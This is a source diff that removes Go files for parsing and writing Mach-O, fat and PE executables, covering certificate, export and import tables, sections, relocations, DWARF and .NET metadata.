pad4 := make([]byte, uint64(FinalSegEnd)-bytesWritten)
|
||||
w.Write(pad4)
|
||||
bytesWritten += uint64(len(pad4))
|
||||
//log.Printf("%x: wrote pad of: %d", bytesWritten, len(pad4))
|
||||
}
|
||||
|
||||
//log.Println("All done!")
|
||||
machoBytes := w.Bytes()
|
||||
return machoBytes, nil
|
||||
}
|
||||
|
||||
// WriteFile - Creates a new file and writes it using the Bytes func above
|
||||
func (machoFile *File) WriteFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
machoData, err := machoFile.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = f.Write(machoData)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// WriteFatFile - Creates a new Fat file and multiple machos into it
|
||||
func (FatyFile *FatFile) WriteFatFile(destFile string) error {
|
||||
f, err := os.Create(destFile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer f.Close()
|
||||
w := bufio.NewWriter(f)
|
||||
bytesWritten := uint64(0)
|
||||
var FatyMachos []File
|
||||
var FatyMachosOffsets []uint32
|
||||
|
||||
// Fat Header First
|
||||
// Magic Bytes
|
||||
binary.Write(w, binary.BigEndian, FatyFile.Magic)
|
||||
bytesWritten += 4
|
||||
// Number of Fat Arches [4 bytes]
|
||||
FatArches := uint32(len(FatyFile.Arches))
|
||||
binary.Write(w, binary.BigEndian, FatArches)
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
// Arch Size
|
||||
for _, arch := range FatyFile.Arches {
|
||||
log.Printf("Arch details: %v\n", arch)
|
||||
FatyMachos = append(FatyMachos, *(arch.File))
|
||||
//Cpu Type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Cpu))
|
||||
bytesWritten += 4
|
||||
//Sub CPU type
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.SubCpu))
|
||||
bytesWritten += 4
|
||||
//FileOffset
|
||||
FatyMachosOffsets = append(FatyMachosOffsets, arch.Offset)
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Offset))
|
||||
bytesWritten += 4
|
||||
//Size
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Size))
|
||||
bytesWritten += 4
|
||||
//Align
|
||||
binary.Write(w, binary.BigEndian, uint32(arch.Align))
|
||||
bytesWritten += 4
|
||||
w.Flush()
|
||||
}
|
||||
// End of Fat Headers
|
||||
|
||||
// Write each Macho File at its Offset
|
||||
for index, mach := range FatyMachos {
|
||||
// Pad to the offset
|
||||
if bytesWritten < uint64(FatyMachosOffsets[index]) {
|
||||
pad := make([]byte, uint64(FatyMachosOffsets[index])-bytesWritten)
|
||||
w.Write(pad)
|
||||
bytesWritten += uint64(len(pad))
|
||||
}
|
||||
// Write the Mach-o file
|
||||
machOut, err := mach.Bytes()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
binary.Write(w, binary.BigEndian, machOut)
|
||||
bytesWritten += uint64(len(machOut))
|
||||
w.Flush()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
-50
@@ -1,50 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// CERTIFICATE_TABLE is the index of the Certificate Table info in the Data Directory structure
|
||||
// in the PE header
|
||||
const CERTIFICATE_TABLE = 4
|
||||
|
||||
func readCertTable(f *File, r io.ReadSeeker) ([]byte, error) {
|
||||
if f.OptionalHeader == nil { // Optional header is optional, might not exist
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var certTableOffset, certTableSize uint32
|
||||
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_I386:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader32).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
case IMAGE_FILE_MACHINE_AMD64:
|
||||
certTableOffset = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].VirtualAddress
|
||||
certTableSize = f.OptionalHeader.(*OptionalHeader64).DataDirectory[CERTIFICATE_TABLE].Size
|
||||
default:
|
||||
return nil, errors.New("architecture not supported")
|
||||
}
|
||||
|
||||
// check if certificate table exists
|
||||
if certTableOffset == 0 || certTableSize == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
var err error
|
||||
_, err = r.Seek(int64(certTableOffset), seekStart)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to seek to certificate table: %v", err)
|
||||
}
|
||||
|
||||
// grab the cert
|
||||
cert := make([]byte, certTableSize)
|
||||
_, err = io.ReadFull(r, cert)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("fail to read certificate table: %v", err)
|
||||
}
|
||||
|
||||
return cert, nil
|
||||
}
|
||||
-132
@@ -1,132 +0,0 @@
|
||||
package pe
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
)
|
||||
|
||||
// ExportDirectory - data directory definition for exported functions
|
||||
type ExportDirectory struct {
|
||||
ExportFlags uint32 // reserved, must be zero
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
NameRVA uint32 // pointer to the name of the DLL
|
||||
OrdinalBase uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32 // also Ordinal Table Len
|
||||
AddressTableAddr uint32 // RVA of EAT, relative to image base
|
||||
NameTableAddr uint32 // RVA of export name pointer table, relative to image base
|
||||
OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Ordinal uint32
|
||||
Name string
|
||||
VirtualAddress uint32
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the exports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_EXPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the export data directory entry
|
||||
var edd DataDirectory
|
||||
if pe64 {
|
||||
edd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
} else {
|
||||
edd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the export directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= edd.VirtualAddress && edd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no exports were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
d, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
exportDirOffset := edd.VirtualAddress - ds.VirtualAddress
|
||||
|
||||
// seek to the virtual address specified in the export data directory
|
||||
dxd := d[exportDirOffset:]
|
||||
|
||||
// deserialize export directory
|
||||
var dt ExportDirectory
|
||||
dt.ExportFlags = binary.LittleEndian.Uint32(dxd[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(dxd[4:8])
|
||||
dt.MajorVersion = binary.LittleEndian.Uint16(dxd[8:10])
|
||||
dt.MinorVersion = binary.LittleEndian.Uint16(dxd[10:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(dxd[12:16])
|
||||
dt.OrdinalBase = binary.LittleEndian.Uint32(dxd[16:20])
|
||||
dt.NumberOfFunctions = binary.LittleEndian.Uint32(dxd[20:24])
|
||||
dt.NumberOfNames = binary.LittleEndian.Uint32(dxd[24:28])
|
||||
dt.AddressTableAddr = binary.LittleEndian.Uint32(dxd[28:32])
|
||||
dt.NameTableAddr = binary.LittleEndian.Uint32(dxd[32:36])
|
||||
dt.OrdinalTableAddr = binary.LittleEndian.Uint32(dxd[36:40])
|
||||
|
||||
dt.DllName, _ = getString(d, int(dt.NameRVA-ds.VirtualAddress))
|
||||
|
||||
// seek to ordinal table
|
||||
dno := d[dt.OrdinalTableAddr-ds.VirtualAddress:]
|
||||
// seek to names table
|
||||
dnn := d[dt.NameTableAddr-ds.VirtualAddress:]
|
||||
|
||||
// build whole ordinal->name table
|
||||
ordinalTable := make(map[uint16]uint32)
|
||||
for n := uint32(0); n < dt.NumberOfNames; n++ {
|
||||
ord := binary.LittleEndian.Uint16(dno[n*2 : (n*2)+2])
|
||||
nameRVA := binary.LittleEndian.Uint32(dnn[n*4 : (n*4)+4])
|
||||
ordinalTable[ord] = nameRVA
|
||||
}
|
||||
dno = nil
|
||||
dnn = nil
|
||||
|
||||
// seek to ordinal table
|
||||
dna := d[dt.AddressTableAddr-ds.VirtualAddress:]
|
||||
|
||||
var exports []Export
|
||||
for i := uint32(0); i < dt.NumberOfFunctions; i++ {
|
||||
var export Export
|
||||
export.VirtualAddress =
|
||||
binary.LittleEndian.Uint32(dna[i*4 : (i*4)+4])
|
||||
export.Ordinal = dt.OrdinalBase + i
|
||||
|
||||
// check the entire ordinal table looking for this index to see if we have a name
|
||||
_, ok := ordinalTable[uint16(i)]
|
||||
if ok { // a name exists for this exported function
|
||||
nameRVA, _ := ordinalTable[uint16(i)]
|
||||
export.Name, _ = getString(d, int(nameRVA-ds.VirtualAddress))
|
||||
}
|
||||
exports = append(exports, export)
|
||||
}
|
||||
return exports, nil
|
||||
}
|
||||
-467
@@ -1,467 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package pe implements access to PE (Microsoft Windows Portable Executable) files.
|
||||
package pe
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
"debug/dwarf"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Avoid use of post-Go 1.4 io features, to make safe for toolchain bootstrap.
|
||||
const (
|
||||
seekStart = 0
|
||||
seekCurrent = 1
|
||||
)
|
||||
|
||||
// A File represents an open PE file.
|
||||
type File struct {
|
||||
DosHeader
|
||||
DosExists bool
|
||||
DosStub [64]byte // TODO(capnspacehook) make slice and correctly parse any DOS stub
|
||||
RichHeader []byte
|
||||
FileHeader
|
||||
OptionalHeader interface{} // of type *OptionalHeader32 or *OptionalHeader64
|
||||
Sections []*Section
|
||||
BaseRelocationTable *[]RelocationTableEntry
|
||||
Symbols []*Symbol // COFF symbols with auxiliary symbol records removed
|
||||
COFFSymbols []COFFSymbol // all COFF symbols (including auxiliary symbol records)
|
||||
StringTable StringTable
|
||||
CertificateTable []byte
|
||||
|
||||
OptionalHeaderOffset int64 // offset of the start of the Optional Header
|
||||
InsertionAddr uint32
|
||||
InsertionBytes []byte
|
||||
|
||||
Net Net //If a managed executable, Net provides an interface to some of the metadata
|
||||
|
||||
closer io.Closer
|
||||
}
|
||||
|
||||
// Open opens the named file using os.Open and prepares it for use as a PE binary.
|
||||
func Open(name string) (*File, error) {
|
||||
f, err := os.Open(name)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ff, err := NewFile(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
ff.closer = f
|
||||
return ff, nil
|
||||
}
|
||||
|
||||
// Close closes the File.
|
||||
// If the File was created using NewFile directly instead of Open,
|
||||
// Close has no effect.
|
||||
func (f *File) Close() error {
|
||||
var err error
|
||||
if f.closer != nil {
|
||||
err = f.closer.Close()
|
||||
f.closer = nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
var (
|
||||
sizeofOptionalHeader32 = uint16(binary.Size(OptionalHeader32{}))
|
||||
sizeofOptionalHeader64 = uint16(binary.Size(OptionalHeader64{}))
|
||||
)
|
||||
|
||||
// TODO(brainman): add Load function, as a replacement for NewFile, that does not call removeAuxSymbols (for performance)
|
||||
|
||||
// NewFile creates a new pe.File for accessing a PE binary file in an underlying reader.
|
||||
func NewFile(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, false)
|
||||
}
|
||||
|
||||
// NewFileFromMemory creates a new pe.File for accessing a PE binary in-memory image in an underlying reader.
|
||||
func NewFileFromMemory(r io.ReaderAt) (*File, error) {
|
||||
return newFileInternal(r, true)
|
||||
}
|
||||
|
||||
// NewFile creates a new File for accessing a PE binary in an underlying reader.
|
||||
func newFileInternal(r io.ReaderAt, memoryMode bool) (*File, error) {
|
||||
|
||||
f := new(File)
|
||||
sr := io.NewSectionReader(r, 0, 1<<63-1)
|
||||
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosHeader)
|
||||
dosHeaderSize := binary.Size(f.DosHeader)
|
||||
if dosHeaderSize > int(f.DosHeader.AddressOfNewExeHeader) {
|
||||
binary.Read(sr, binary.LittleEndian, &f.DosStub)
|
||||
f.DosExists = true
|
||||
} else {
|
||||
f.DosExists = false
|
||||
}
|
||||
|
||||
possibleRichHeaderStart := dosHeaderSize
|
||||
if f.DosExists {
|
||||
possibleRichHeaderStart += binary.Size(f.DosStub)
|
||||
}
|
||||
possibleRichHeaderEnd := int(f.DosHeader.AddressOfNewExeHeader)
|
||||
if possibleRichHeaderEnd > possibleRichHeaderStart {
|
||||
richHeader := make([]byte, possibleRichHeaderEnd-possibleRichHeaderStart)
|
||||
binary.Read(sr, binary.LittleEndian, richHeader)
|
||||
|
||||
if richIndex := bytes.Index(richHeader, []byte("Rich")); richIndex != -1 {
|
||||
f.RichHeader = richHeader[:richIndex+8]
|
||||
}
|
||||
}
|
||||
|
||||
var peHeaderOffset int64
|
||||
if f.DosHeader.MZSignature == 0x5a4d {
|
||||
peHeaderOffset = int64(f.DosHeader.AddressOfNewExeHeader)
|
||||
var sign [4]byte
|
||||
r.ReadAt(sign[:], peHeaderOffset)
|
||||
if !(sign[0] == 'P' && sign[1] == 'E' && sign[2] == 0 && sign[3] == 0) {
|
||||
return nil, fmt.Errorf("Invalid PE COFF file signature of %v", sign)
|
||||
}
|
||||
peHeaderOffset += int64(4)
|
||||
} else {
|
||||
peHeaderOffset = int64(0)
|
||||
}
|
||||
|
||||
sr.Seek(peHeaderOffset, seekStart)
|
||||
if err := binary.Read(sr, binary.LittleEndian, &f.FileHeader); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
switch f.FileHeader.Machine {
|
||||
case IMAGE_FILE_MACHINE_UNKNOWN, IMAGE_FILE_MACHINE_ARMNT, IMAGE_FILE_MACHINE_AMD64, IMAGE_FILE_MACHINE_I386:
|
||||
default:
|
||||
return nil, fmt.Errorf("Unrecognised COFF file header machine value of 0x%x", f.FileHeader.Machine)
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
if memoryMode {
|
||||
//get strings table location - offset is wrong in the header because we are in memory mode. Can we fix it? Yes we can!
|
||||
restore, err := sr.Seek(0, seekCurrent)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Had a bad time getting restore point: %v", err)
|
||||
}
|
||||
//seek to table start (skip the headers)
|
||||
sr.Seek(peHeaderOffset+int64(binary.Size(f.FileHeader))+int64(f.FileHeader.SizeOfOptionalHeader), seekStart)
|
||||
|
||||
//iterate through the sections to find the raw offset value that matches the original symbol table value
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
//original offset matches the pointer to the symbol table, update the header so other things can reference it good again
|
||||
if sh.PointerToRawData == f.FileHeader.PointerToSymbolTable {
|
||||
f.FileHeader.PointerToSymbolTable = sh.VirtualAddress
|
||||
}
|
||||
}
|
||||
//restore the original location of sr (this shouldn't actually be required, but just in case)
|
||||
sr.Seek(restore, seekStart)
|
||||
}
|
||||
|
||||
// Read string table.
|
||||
f.StringTable, err = readStringTable(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read symbol table.
|
||||
f.COFFSymbols, err = readCOFFSymbols(&f.FileHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
f.Symbols, err = removeAuxSymbols(f.COFFSymbols, f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read optional header.
|
||||
f.OptionalHeaderOffset = peHeaderOffset + int64(binary.Size(f.FileHeader))
|
||||
sr.Seek(f.OptionalHeaderOffset, seekStart)
|
||||
|
||||
var oh32 OptionalHeader32
|
||||
var oh64 OptionalHeader64
|
||||
switch f.FileHeader.SizeOfOptionalHeader {
|
||||
case sizeofOptionalHeader32:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh32); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh32.Magic != 0x10b { // PE32
|
||||
return nil, fmt.Errorf("pe32 optional header has unexpected Magic of 0x%x", oh32.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh32
|
||||
case sizeofOptionalHeader64:
|
||||
if err := binary.Read(sr, binary.LittleEndian, &oh64); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if oh64.Magic != 0x20b { // PE32+
|
||||
return nil, fmt.Errorf("pe32+ optional header has unexpected Magic of 0x%x", oh64.Magic)
|
||||
}
|
||||
f.OptionalHeader = &oh64
|
||||
}
|
||||
|
||||
// Process sections.
|
||||
f.Sections = make([]*Section, f.FileHeader.NumberOfSections)
|
||||
for i := 0; i < int(f.FileHeader.NumberOfSections); i++ {
|
||||
sh := new(SectionHeader32)
|
||||
if err := binary.Read(sr, binary.LittleEndian, sh); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
name, err := sh.fullName(f.StringTable)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
s := new(Section)
|
||||
s.SectionHeader = SectionHeader{
|
||||
Name: name,
|
||||
OriginalName: sh.Name,
|
||||
VirtualSize: sh.VirtualSize,
|
||||
VirtualAddress: sh.VirtualAddress,
|
||||
Size: sh.SizeOfRawData,
|
||||
Offset: sh.PointerToRawData,
|
||||
PointerToRelocations: sh.PointerToRelocations,
|
||||
PointerToLineNumbers: sh.PointerToLineNumbers,
|
||||
NumberOfRelocations: sh.NumberOfRelocations,
|
||||
NumberOfLineNumbers: sh.NumberOfLineNumbers,
|
||||
Characteristics: sh.Characteristics,
|
||||
}
|
||||
r2 := r
|
||||
if sh.PointerToRawData == 0 { // .bss must have all 0s
|
||||
r2 = zeroReaderAt{}
|
||||
}
|
||||
if !memoryMode {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.Offset), int64(s.SectionHeader.Size))
|
||||
} else {
|
||||
s.sr = io.NewSectionReader(r2, int64(s.SectionHeader.VirtualAddress), int64(s.SectionHeader.Size))
|
||||
}
|
||||
s.ReaderAt = s.sr
|
||||
f.Sections[i] = s
|
||||
}
|
||||
for i := range f.Sections {
|
||||
var err error
|
||||
f.Sections[i].Relocs, err = readRelocs(&f.Sections[i].SectionHeader, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
// Read Base Relocation Block and Items
|
||||
f.BaseRelocationTable, err = f.readBaseRelocationTable()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Read certificate table
|
||||
f.CertificateTable, err = readCertTable(f, sr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
//fill net info
|
||||
if f.IsManaged() {
|
||||
var va, size uint32
|
||||
|
||||
//determine location of the COM descriptor directory
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
case *OptionalHeader64:
|
||||
va = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress
|
||||
size = v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size
|
||||
}
|
||||
|
||||
//I'm unsure how to get a reader (not a readerat) for a particular thing, so copying buffers around.. this could be more optimal
|
||||
buff := make([]byte, size)
|
||||
|
||||
//none of these reads have errors being caught either, which is probably not ideal
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(va)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(va))
|
||||
}
|
||||
binary.Read(bytes.NewReader(buff), binary.LittleEndian, &f.Net.NetDirectory)
|
||||
|
||||
//Now that we have the COR20 header (COM descriptor directory header), we can get the metadata section header, which has the version
|
||||
buff = make([]byte, f.Net.NetDirectory.MetaDataSize)
|
||||
//again, none of the reads are error checked :shrug:
|
||||
if !memoryMode {
|
||||
r.ReadAt(buff, int64(f.RVAToFileOffset(f.Net.NetDirectory.MetaDataRVA)))
|
||||
} else {
|
||||
r.ReadAt(buff, int64(f.Net.NetDirectory.MetaDataRVA))
|
||||
}
|
||||
f.Net.MetaData, _ = newMetadataHeader(bytes.NewReader(buff))
|
||||
|
||||
}
|
||||
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// zeroReaderAt is ReaderAt that reads 0s.
|
||||
type zeroReaderAt struct{}
|
||||
|
||||
// ReadAt writes len(p) 0s into p.
|
||||
func (w zeroReaderAt) ReadAt(p []byte, off int64) (n int, err error) {
|
||||
for i := range p {
|
||||
p[i] = 0
|
||||
}
|
||||
return len(p), nil
|
||||
}
|
||||
|
||||
// getString extracts a string from symbol string table.
|
||||
func getString(section []byte, start int) (string, bool) {
|
||||
if start < 0 || start >= len(section) {
|
||||
return "", false
|
||||
}
|
||||
|
||||
for end := start; end < len(section); end++ {
|
||||
if section[end] == 0 {
|
||||
return string(section[start:end]), true
|
||||
}
|
||||
}
|
||||
return "", false
|
||||
}
|
||||
|
||||
// Section returns the first section with the given name, or nil if no such
|
||||
// section exists.
|
||||
func (f *File) Section(name string) *Section {
|
||||
for _, s := range f.Sections {
|
||||
if s.Name == name {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (f *File) DWARF() (*dwarf.Data, error) {
|
||||
dwarfSuffix := func(s *Section) string {
|
||||
switch {
|
||||
case strings.HasPrefix(s.Name, ".debug_"):
|
||||
return s.Name[7:]
|
||||
case strings.HasPrefix(s.Name, ".zdebug_"):
|
||||
return s.Name[8:]
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
// sectionData gets the data for s and checks its size.
|
||||
sectionData := func(s *Section) ([]byte, error) {
|
||||
b, err := s.Data()
|
||||
if err != nil && uint32(len(b)) < s.Size {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if 0 < s.VirtualSize && s.VirtualSize < s.Size {
|
||||
b = b[:s.VirtualSize]
|
||||
}
|
||||
|
||||
if len(b) >= 12 && string(b[:4]) == "ZLIB" {
|
||||
dlen := binary.BigEndian.Uint64(b[4:12])
|
||||
dbuf := make([]byte, dlen)
|
||||
r, err := zlib.NewReader(bytes.NewBuffer(b[12:]))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if _, err := io.ReadFull(r, dbuf); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := r.Close(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
b = dbuf
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// There are many other DWARF sections, but these
|
||||
// are the ones the debug/dwarf package uses.
|
||||
// Don't bother loading others.
|
||||
var dat = map[string][]byte{"abbrev": nil, "info": nil, "str": nil, "line": nil, "ranges": nil}
|
||||
for _, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix == "" {
|
||||
continue
|
||||
}
|
||||
if _, ok := dat[suffix]; !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dat[suffix] = b
|
||||
}
|
||||
|
||||
d, err := dwarf.New(dat["abbrev"], nil, nil, dat["info"], dat["line"], nil, dat["ranges"], dat["str"])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Look for DWARF4 .debug_types sections.
|
||||
for i, s := range f.Sections {
|
||||
suffix := dwarfSuffix(s)
|
||||
if suffix != "types" {
|
||||
continue
|
||||
}
|
||||
|
||||
b, err := sectionData(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = d.AddTypes(fmt.Sprintf("types-%d", i), b)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
return d, nil
|
||||
}
|
||||
|
||||
// FormatError is unused.
|
||||
// The type is retained for compatibility.
|
||||
type FormatError struct {
|
||||
}
|
||||
|
||||
func (e *FormatError) Error() string {
|
||||
return "unknown error"
|
||||
}
|
||||
|
||||
//RVAToFileOffset Converts a Relative offset to the actual offset in the file.
|
||||
func (f *File) RVAToFileOffset(rva uint32) uint32 {
|
||||
var offset uint32
|
||||
for _, section := range f.Sections {
|
||||
if rva >= section.SectionHeader.VirtualAddress && rva <= section.SectionHeader.VirtualAddress+section.SectionHeader.Size {
|
||||
offset = section.SectionHeader.Offset + (rva - section.SectionHeader.VirtualAddress)
|
||||
}
|
||||
}
|
||||
return offset
|
||||
}
|
||||
|
||||
//IsManaged returns true if the loaded PE file references the CLR header (aka is a .net exe)
|
||||
func (f *File) IsManaged() bool {
|
||||
switch v := f.OptionalHeader.(type) {
|
||||
case *OptionalHeader32:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
case *OptionalHeader64:
|
||||
if v.DataDirectory[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress != 0 {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
-196
@@ -1,196 +0,0 @@
|
||||
package pe
|
||||
|
||||
import "encoding/binary"
|
||||
|
||||
// ImportDirectory entry
|
||||
type ImportDirectory struct {
|
||||
OriginalFirstThunk uint32
|
||||
TimeDateStamp uint32
|
||||
ForwarderChain uint32
|
||||
NameRVA uint32
|
||||
FirstThunk uint32
|
||||
|
||||
DllName string
|
||||
}
|
||||
|
||||
// ImportedSymbols returns the names of all symbols
|
||||
// referred to by the binary f that are expected to be
|
||||
// satisfied by other libraries at dynamic load time.
|
||||
// It does not return weak symbols.
|
||||
func (f *File) ImportedSymbols() ([]string, error) {
|
||||
pe64 := f.Machine == IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
// grab the number of data directory entries
|
||||
var ddLength uint32
|
||||
if pe64 {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader64).NumberOfRvaAndSizes
|
||||
} else {
|
||||
ddLength = f.OptionalHeader.(*OptionalHeader32).NumberOfRvaAndSizes
|
||||
}
|
||||
|
||||
// check that the length of data directory entries is large
|
||||
// enough to include the imports directory.
|
||||
if ddLength < IMAGE_DIRECTORY_ENTRY_IMPORT+1 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// grab the import data directory entry
|
||||
var idd DataDirectory
|
||||
if pe64 {
|
||||
idd = f.OptionalHeader.(*OptionalHeader64).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
} else {
|
||||
idd = f.OptionalHeader.(*OptionalHeader32).DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]
|
||||
}
|
||||
|
||||
// figure out which section contains the import directory table
|
||||
var ds *Section
|
||||
ds = nil
|
||||
for _, s := range f.Sections {
|
||||
if s.VirtualAddress <= idd.VirtualAddress && idd.VirtualAddress < s.VirtualAddress+s.VirtualSize {
|
||||
ds = s
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
// didn't find a section, so no import libraries were found
|
||||
if ds == nil {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
sectionData, err := ds.Data()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// seek to the virtual address specified in the import data directory
|
||||
d := sectionData[idd.VirtualAddress-ds.VirtualAddress:]
|
||||
|
||||
// start decoding the import directory
|
||||
var ida []ImportDirectory
|
||||
for len(d) > 0 {
|
||||
var dt ImportDirectory
|
||||
dt.OriginalFirstThunk = binary.LittleEndian.Uint32(d[0:4])
|
||||
dt.TimeDateStamp = binary.LittleEndian.Uint32(d[4:8])
|
||||
dt.ForwarderChain = binary.LittleEndian.Uint32(d[8:12])
|
||||
dt.NameRVA = binary.LittleEndian.Uint32(d[12:16])
|
||||
dt.FirstThunk = binary.LittleEndian.Uint32(d[16:20])
|
||||
d = d[20:]
|
||||
if dt.OriginalFirstThunk == 0 {
|
||||
break
|
||||
}
|
||||
ida = append(ida, dt)
|
||||
}
|
||||
var all []string
